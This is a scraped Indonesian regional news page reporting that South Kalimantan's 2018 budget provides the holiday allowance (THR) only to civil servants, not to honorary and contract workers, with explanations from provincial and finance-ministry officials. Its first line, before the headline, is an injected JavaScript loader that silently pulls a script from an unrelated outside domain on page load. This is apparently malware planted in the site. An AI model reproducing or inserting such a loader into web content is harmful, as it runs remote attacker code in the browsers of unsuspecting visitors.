(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pegawai Honorer dan Kontrak Pemprov Tak Bisa Nikmati THR


BANJARBARU, Badan Keuangan Daerah Provinsi Kalsel mengharapkan Kepala Satuan Kerja Perangkat Daerah (SKPD) membijaksanai alokasi dana Tunjangan Hari Raya (THR) bagi tenaga honorer dan kontrak. Mengingat, anggaran tersebut tidak tercantum dalam Anggaran Pendapatan dan Belanja Daerah (APBD) Kalsel 2018.

Kepala Bakeuda Kalsel Aminuddin Latief mengatakan, pemprov pada APBD 2018 hanya menyediakan THR untuk seluruh ASN di Kalsel. Sedangkan honorer dan kontrak tidak dialokasikan.

“Dengan demikian, bagi karyawan pemprov Kalsel di luar aparatur sipil negara dipastikan tidak mendapatkan THR sebagaimana dengan rekannya yang bekerja di instansi pemerintah pusat. Maka diimbau  Kepala SKPD untuk bisa membijaksanai THR tersebut,” terangnya.

THR untuk karyawan non ASN di lembaga pemerintahan sejak tahun lalu tidak terakomodir paa APBD. Sehingga kebijkan memberikan bantuan merupakan kebijakan masing-masing institusi.

Sebelumnya, Menteri Keuangan (Menkeu) Sri Mulyani Indrawati memberikan penjelasan mengenai pemberian tunjangan hari raya ( THR) untuk pegawai honorer atau non-PNS. Sri Mulyani menjelaskan pula THR untuk pegawai honorer pemerintah daerah dan guru daerah.

THR untuk pegawai honorer di daerah tertuang dalam Peraturan Menteri Dalam Negeri (Permendagri) Nomor 33 Tahun 2017 tentang Pedoman Umum Penyesuaian APBD Tahun 2018. Penganggaran untuk gaji pokok dan tunjangan PNS daerah (PNSD) disesuaikan peraturan perundang-undangan, serta memperhitungkan rencana kenaikan gaji pokok dan tunjangan dan pemberian gaji ke-13 dan ke-14.

“Mengenai pemberian honorarium bagi PNSD dan Non-PNSD dibatasi dan hanya didasarkan pada pertimbangan bahwa keberadaan PNSD dan Non-PNSD benar-benar memiliki peranan dan kontribusi nyata terhadap efektifitas pelaksanaan kegiatan,” kata Sri Mulyani pada akun Facebook pribadinya, Sabtu (26/5).

Berdasarkan informasi dari Kemendagri, daerah tidak menganggarkan THR atau gaji ke-13 bagi Non PNSD, karena honor bagi tenaga Non-PNSD pada dasarnya melekat pada setiap kegiatan. “Dengan demikian, apabila kegiatannya dilaksanakan dalam 12 bulan, maka honornya diberikan sebanyak 12 bulan,” ujar Sri Mulyani.

Untuk pegawai honorer daerah dapat diberikan THR sejalan dengan kebijakan dan peraturan yang berlaku sejauh kemampuan keuangan daerah memadai untuk memberikan THR.

Untuk cleaning service (CS) dan sopir, apabila CS dan sopir adalah karyawan outsourcing dari perusahaan yang mempekerjakan, maka perusahaan di mana CS dan supir dimaksud terdaftar juga memiliki kewajiban untuk memberikan THR.

Sementara itu, untuk supir dan CS honorer (yang tidak melalui sistem outsourcing), pemberian THR menjadi tanggung jawab kementerian atau lembaga yang menggunakan jasa CS dan sopir.

Adapun kebijakan THR untuk guru tidak termasuk tunjangan profesi guru (TPG) atau tunjangan khusus guru di daerah terpencil (TKG).

Sesuai Pasal 63 PP Nomor 58/2005 dan Permendagri Nomor 13/2006, Pemprov dapat memberikan tunjangan perbaikan penghasilan (TPP) kepada PNSD, termasuk guru, berdasarkan pertimbangan yang obyektif dengan memperhatikan kemampuan keuangan daerah, dan memperoleh persetujuan DPRD.

Kebijakan pemberian TPP bagi Guru di masing-masing daerah berbeda-beda, ada daerah yang memberikan TPP dan TPG/TKG kepada guru. Ada daerah yang tidak memberikan TPP, karena guru sudah mendapatkan TPG/TKG. (rico/net)

Reporter:Rico/Net
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

3 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

4 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

8 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

11 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.